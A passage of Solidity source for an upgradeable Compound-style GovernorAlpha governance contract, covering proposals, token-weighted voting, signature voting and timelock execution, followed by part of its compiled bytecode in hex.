uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract GovernorAlpha is Initializable { /// @notice The name of this contract string public name; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The delay before voting on a proposal may take place, once proposed uint public votingDelay; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The address of the Org Timelock TimelockInterface public timelock; /// @notice The address of the Protocol governance token TokenInterface public token; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); function initialize(string memory name_, address tkn_, address timelock_, uint quorumVotes_, uint proposalThreshold_, uint votingDelay_, uint votingPeriod_) public initializer { name = name_; token = TokenInterface(tkn_); timelock = TimelockInterface(timelock_); quorumVotes = quorumVotes_; proposalThreshold = proposalThreshold_; votingDelay = votingDelay_; votingPeriod = votingPeriod_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(token.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = token.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { timelock.acceptAdmin(); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface TokenInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061014b5760003560e01c806374fe2916116100b6578063da95691a1161006f578063da95691a1461048d578063ddf0b009146104ca578063deaaa7cc146104f3578063e23a9a521461051e578063fc0c546a1461055b578063fe0d94c1146105865761014b565b806374fe2916146103a15780637bdbe4d0146103ca578063b58131b0146103f5578063b9a6196114610420578063d33219b414610437578063da35c664146104625761014b565b806324bc1a641161010857806324bc1a641461027c578063328dd982146102a75780633932abb1146102e75780633e4f49e61461031257806340e58ee51461034f5780634634c61f146103785761014b565b8063013cf08b1461015057806302a251a31461019557806306fdde03146101c057806315373e3d146101eb57806317977c611461021457806320606b7014610251575b600080fd5b34801561015c57600080fd5b5061017760048036038101906101729190612faf565b6105a2565b60405161018c9998979695949392919061466f565b60405180910390f35b3480156101a157600080fd5b506101aa61062a565b6040516101b791906145a4565b60405180910390f35b3480156101cc57600080fd5b506101d5610630565b6040516101e29190614327565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d919061303d565b6106ce565b005b34801561022057600080fd5b5061023b60048036038101906102369190612d4e565b6106dd565b60405161024891906145a4565b60405180910390f35b34801561025d57600080fd5b506102666106f5565b60405161027391906141fa565b60405180910390f35b34801561028857600080fd5b5061029161070c565b60405161029e91906145a4565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c99190612faf565b610712565b6040516102de9493929190614199565b60405180910390f35b3480156102f357600080fd5b506102fc6109ef565b60405161030991906145a4565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612faf565b6109f5565b604051610346919061430c565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190612faf565b610bd5565b005b34801561038457600080fd5b5061039f600480360381019061039a9190613079565b610f15565b005b3480156103ad57600080fd5b506103c860048036038101906103c39190612ef9565b6110be565b005b3480156103d657600080fd5b506103df611263565b6040516103ec91906145a4565b60405180910390f35b34801561040157600080fd5b5061040a61126c565b60405161041791906145a4565b60405180910390f35b34801561042c57600080fd5b50610435611272565b005b34801561044357600080fd5b5061044c6112f6565b60405161045991906142d6565b60405180910390f35b34801561046e57600080fd5b5061047761131c565b60405161048491906145a4565b60405180910390f35b34801561049957600080fd5b506104b460048036038101906104af9190612d77565b611322565b6040516104c191906145a4565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612faf565b6118e0565b005b3480156104ff57600080fd5b50610508611c30565b60405161051591906141fa565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190613001565b611c47565b6040516105529190614589565b60405180910390f35b34801561056757600080fd5b50610570611d29565b60405161057d91906142f1565b60405180910390f35b6105a0600480360381019061059b9190612faf565b611d4f565b005b603b6020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b60375481565b60338054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c65780601f1061069b576101008083540402835291602001916106c6565b820191906000526020600020905b8154815290600101906020018083116106a957829003601f168201915b505050505081565b6106d9338383611f9d565b5050565b603c6020528060005260406000206000915090505481565b60405161070190614016565b604051809103902081565b60345481565b6060806060806000603b6000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156107c057602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610776575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561081257602002820191906000526020600020905b8154815260200190600101908083116107fe575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108f6578382906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b50505050508152602001906001019061083a565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109d9578382906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c55780601f1061099a576101008083540402835291602001916109c5565b820191906000526020600020905b8154815290600101906020018083116109a857829003601f168201915b50505050508152602001906001019061091d565b5050505090509450945094509450509193509193565b60365481565b600081603a5410158015610a095750600082115b610a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3f90614389565b60405180910390fd5b6000603b6000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610a80576002915050610bd0565b80600701544311610a95576000915050610bd0565b80600801544311610aaa576001915050610bd0565b80600a01548160090154111580610ac657506034548160090154105b15610ad5576003915050610bd0565b600081600201541415610aec576004915050610bd0565b80600b0160019054906101000a900460ff1615610b0d576007915050610bd0565b610bba8160020154603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7d57600080fd5b505afa158015610b91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb59190612fd8565b61226c565b4210610bca576006915050610bd0565b60059150505b919050565b6000610be0826109f5565b9050600780811115610bee57fe5b816007811115610bfa57fe5b1415610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290614529565b60405180910390fd5b6000603b60008481526020019081526020016000209050603554603960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cc34360016122c1565b6040518363ffffffff1660e01b8152600401610ce0929190614069565b60206040518083038186803b158015610cf857600080fd5b505afa158015610d0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3091906130f0565b6bffffffffffffffffffffffff1610610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590614449565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b8160030180549050811015610ed857603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe836003018381548110610dfd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018481548110610e3757fe5b9060005260206000200154856005018581548110610e5157fe5b90600052602060002001866006018681548110610e6a57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610e99959493929190614138565b600060405180830381600087803b158015610eb357600080fd5b505af1158015610ec7573d6000803e3d6000fd5b505050508080600101915050610da1565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610f0891906145a4565b60405180910390a1505050565b6000604051610f2390614016565b60405180910390206033604051610f3a9190613fc8565b6040518091039020610f4a612311565b30604051602001610f5e9493929190614215565b6040516020818303038152906040528051906020012090506000604051610f849061402b565b60405180910390208787604051602001610fa09392919061425a565b60405160208183030381529060405280519060200120905060008282604051602001610fcd929190613fdf565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161100a9493929190614291565b6020604051602081039080840390855afa15801561102c573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f906144e9565b60405180910390fd5b6110b3818a8a611f9d565b505050505050505050565b600060019054906101000a900460ff16806110dd57506110dc61231e565b5b806110f457506000809054906101000a900460ff16155b611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90614489565b60405180910390fd5b60008060019054906101000a900460ff161590508015611183576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b876033908051906020019061119992919061250b565b5086603960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085603860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460348190555083603581905550826036819055508160378190555080156112595760008060016101000a81548160ff0219169083151502179055505b5050505050505050565b6000600a905090565b60355481565b603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112dc57600080fd5b505af11580156112f0573d6000803e3d6000fd5b50505050565b603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b603a5481565b6000603554603960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe1336113714360016122c1565b6040518363ffffffff1660e01b815260040161138e929190614040565b60206040518083038186803b1580156113a657600080fd5b505afa1580156113ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113de91906130f0565b6bffffffffffffffffffffffff161161142c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611423906144c9565b60405180910390fd5b8451865114801561143e575083518651145b801561144b575082518651145b61148a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148190614429565b60405180910390fd5b6000865114156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c6906144a9565b60405180910390fd5b6114d7611263565b8651111561151a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611511906143e9565b60405180910390fd5b6000603c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114611629576000611571826109f5565b90506001600781111561158057fe5b81600781111561158c57fe5b14156115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490614509565b60405180910390fd5b600060078111156115da57fe5b8160078111156115e657fe5b1415611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e906143c9565b60405180910390fd5b505b60006116374360365461226c565b905060006116478260375461226c565b9050603a6000815480929190600101919050555061166361258b565b604051806101a00160405280603a5481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a8152602001898152602001888152602001848152602001838152602001600081526020016000815260200160001515815260200160001515815250905080603b6000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301908051906020019061176d92919061260d565b50608082015181600401908051906020019061178a929190612697565b5060a08201518160050190805190602001906117a79291906126e4565b5060c08201518160060190805190602001906117c4929190612744565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff0219169083151502179055509050508060000151603c6000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516118c4999897969594939291906145bf565b60405180910390a1806000015194505050505095945050505050565b600460078111156118ed57fe5b6118f6826109f5565b600781111561190157fe5b14611941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193890614349565b60405180910390fd5b6000603b600083815260200190815260200160002090506000611a0342603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c657600080fd5b505afa1580156119da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fe9190612fd8565b61226c565b905060008090505b8260030180549050811015611be857611bdb836003018281548110611a2c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018381548110611a6657fe5b9060005260206000200154856005018481548110611a8057fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b1e5780601f10611af357610100808354040283529160200191611b1e565b820191906000526020600020905b815481529060010190602001808311611b0157829003601f168201915b5050505050866006018581548110611b3257fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bd05780601f10611ba557610100808354040283529160200191611bd0565b820191906000526020600020905b815481529060010190602001808311611bb357829003601f168201915b505050505086612335565b8080600101915050611a0b565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28928382604051611c239291906146fc565b60405180910390a1505050565b604051611c3c9061402b565b604051809103902081565b611c4f6127a4565b603b6000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b603960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056007811115611d5c57fe5b611d65826109f5565b6007811115611d7057fe5b14611db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da790614369565b60405180910390fd5b6000603b60008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b8160030180549050811015611f6157603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f836004018381548110611e4657fe5b9060005260206000200154846003018481548110611e6057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856004018581548110611e9a57fe5b9060005260206000200154866005018681548110611eb457fe5b90600052602060002001876006018781548110611ecd57fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611efc959493929190614138565b6000604051808303818588803b158015611f1557600080fd5b505af1158015611f29573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611f539190612eb8565b508080600101915050611dea565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611f9191906145a4565b60405180910390a15050565b60016007811115611faa57fe5b611fb3836109f5565b6007811115611fbe57fe5b14611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590614549565b60405180910390fd5b6000603b60008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff161515146120b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a9906143a9565b60405180910390fd5b6000603960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401612115929190614069565b60206040518083038186803b15801561212d57600080fd5b505afa158015612141573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216591906130f0565b90508315612196576121898360090154826bffffffffffffffffffffffff1661226c565b83600901819055506121bb565b6121b283600a0154826bffffffffffffffffffffffff1661226c565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c468686868460405161225c9493929190614092565b60405180910390a1505050505050565b6000808284019050838110156122b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ae90614409565b60405180910390fd5b8091505092915050565b600082821115612306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fd90614569565b60405180910390fd5b818303905092915050565b6000804690508091505090565b6000803090506000813b9050600081149250505090565b603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b06537868686868660405160200161238c9594939291906140d7565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016123be91906141fa565b60206040518083038186803b1580156123d657600080fd5b505afa1580156123ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240e9190612e66565b1561244e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244590614469565b60405180910390fd5b603860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b81526004016124b19594939291906140d7565b602060405180830381600087803b1580156124cb57600080fd5b505af11580156124df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125039190612e8f565b505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061254c57805160ff191683800117855561257a565b8280016001018555821561257a579182015b8281111561257957825182559160200191906001019061255e565b5b50905061258791906127d7565b5090565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215612686579160200282015b828111156126855782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019061262d565b5b50905061269391906127fc565b5090565b8280548282559060005260206000209081019282156126d3579160200282015b828111156126d25782518255916020019190600101906126b7565b5b5090506126e091906127d7565b5090565b828054828255906000526020600020908101928215612733579160200282015b8281111561273257825182908051906020019061272292919061250b565b5091602001919060010190612704565b5b509050612740919061283f565b5090565b828054828255906000526020600020908101928215612793579160200282015b8281111561279257825182908051906020019061278292919061286b565b5091602001919060010190612764565b5b5090506127a091906128eb565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b6127f991905b808211156127f55760008160009055506001016127dd565b5090565b90565b61283c91905b8082111561283857600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612802565b5090565b90565b61286891905b80821115612864576000818161285b9190612917565b50600101612845565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106128ac57805160ff19168380011785556128da565b828001600101855582156128da579182015b828111156128d95782518255916020019190600101906128be565b5b5090506128e791906127d7565b5090565b61291491905b808211156129105760008181612907919061295f565b506001016128f1565b5090565b90565b50805460018160011615610100020316600290046000825580601f1061293d575061295c565b601f01602090049060005260206000209081019061295b91906127d7565b5b50565b50805460018160011615610100020316600290046000825580601f1061298557506129a4565b601f0160209004906000526020600020908101906129a391906127d7565b5b50565b6000813590506129b681614b73565b92915050565b600082601f8301126129cd57600080fd5b81356129e06129db82614752565b614725565b91508181835260208401935060208101905083856020840282011115612a0557600080fd5b60005b83811015612a355781612a1b88826129a7565b845260208401935060208301925050600181019050612a08565b5050505092915050565b600082601f830112612a5057600080fd5b8135612a63612a5e8261477a565b614725565b9150818183526020840193506020810190508360005b83811015612aa95781358601612a8f8882612bfe565b845260208401935060208301925050600181019050612a79565b5050505092915050565b600082601f830112612ac457600080fd5b8135612ad7612ad2826147a2565b614725565b9150818183526020840193506020810190508360005b83811015612b1d5781358601612b038882612ca6565b845260208401935060208301925050600181019050612aed565b5050505092915050565b600082601f830112612b3857600080fd5b8135612b4b612b46826147ca565b614725565b91508181835260208401935060208101905083856020840282011115612b7057600080fd5b60005b83811015612ba05781612b868882612cfa565b845260208401935060208301925050600181019050612b73565b5050505092915050565b600081359050612bb981614b8a565b92915050565b600081519050612bce81614b8a565b92915050565b600081359050612be381614ba1565b92915050565b600081519050612bf881614ba1565b92915050565b600082601f830112612c0f57600080fd5b8135612c22612c1d826147f2565b614725565b91508082526020830160208301858383011115612c3e57600080fd5b612c49838284614b09565b50505092915050565b600082601f830112612c6357600080fd5b8151612c76612c71826147f2565b614725565b91508082526020830160208301858383011115612c9257600080fd5b612c9d838284614b18565b50505092915050565b600082601f830112612cb757600080fd5b8135612cca612cc58261481e565b614725565b91508082526020830160208301858383011115612ce657600080fd5b612cf1838284614b09565b50505092915050565b600081359050612d0981614bb8565b92915050565b600081519050612d1e81614bb8565b92915050565b600081359050612d3381614bcf565b92915050565b600081519050612d4881614be6565b92915050565b600060208284031215612d6057600080fd5b6000612d6e848285016129a7565b91505092915050565b600080600080600060a08688031215612d8f57600080fd5b600086013567ffffffffffffffff811115612da957600080fd5b612db5888289016129bc565b955050602086013567ffffffffffffffff811115612dd257600080fd5b612dde88828901612b27565b945050604086013567ffffffffffffffff811115612dfb57600080fd5b612e0788828901612ab3565b935050606086013567ffffffffffffffff811115612e2457600080fd5b612e3088828901612a3f565b925050608086013567ffffffffffffffff811115612e4d57600080fd5b612e5988828901612ca6565b9150509295509295909350565b600060208284031215612e7857600080fd5b6000612e8684828501612bbf565b91505092915050565b600060208284031215612ea157600080fd5b6000612eaf84828501612be9565b91505092915050565b600060208284031215612eca57600080fd5b600082015167ffffffffffffffff811115612ee457600080fd5b612ef084828501612c52565b91505092915050565b600080600080600080600060e0888a031215612f1457600080fd5b600088013567ffffffffffffffff811115612f2e57600080fd5b612f3a8a828b01612ca6565b9750506020612f4b8a828b016129a7565b9650506040612f5c8a828b016129a